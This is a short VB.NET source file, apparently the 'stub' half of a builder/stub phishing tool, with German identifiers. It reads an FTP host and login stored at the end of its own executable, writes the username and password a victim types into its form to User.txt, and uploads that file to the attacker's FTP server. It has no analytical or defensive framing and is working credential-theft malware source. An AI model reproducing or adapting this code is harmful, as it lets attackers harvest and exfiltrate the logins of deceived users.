Imports System.IO
Imports Microsoft.VisualBasic.Compatibility
Imports Microsoft.Win32
Public Class frmMain
Private Sub Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button1.Click
File.Copy(Application.ExecutablePath, My.Application.Info.DirectoryPath & "/StubKopie.exe")
Dim Einstellung As New VB6.FixedLengthString(100)
FileOpen(1, My.Application.Info.DirectoryPath & "/StubKopie.exe", OpenMode.Binary)
FileGet(1, Einstellung.Value, LOF(1) - 99)
FileClose(1)
Dim TrennZeichen As Char = "_"
Dim BuilderDaten As String() = Einstellung.Value.Split(TrennZeichen)
File.Delete(My.Application.Info.DirectoryPath & "/StubKopie.exe")
Call DokumentErstellen()
Try
My.Computer.Network.UploadFile("/User.txt", "ftp://" & BuilderDaten(0) & "/User.txt", BuilderDaten(1), BuilderDaten(2))
MessageBox.Show("Der Upload ihrer Daten war erfolgreich!")
Catch ex As System.Net.WebException
MessageBox.Show("Upload Ihrer Daten Fehlgeschlagen!")
End Try
End Sub
Private Sub DokumentErstellen()
Dim sw As New StreamWriter("User.txt")
sw.Write("Username: " & txtUsername.Text)
sw.Write(vbNewLine)
sw.Write("Password: " & txtPass.Text)
sw.Close()
End Sub
End Class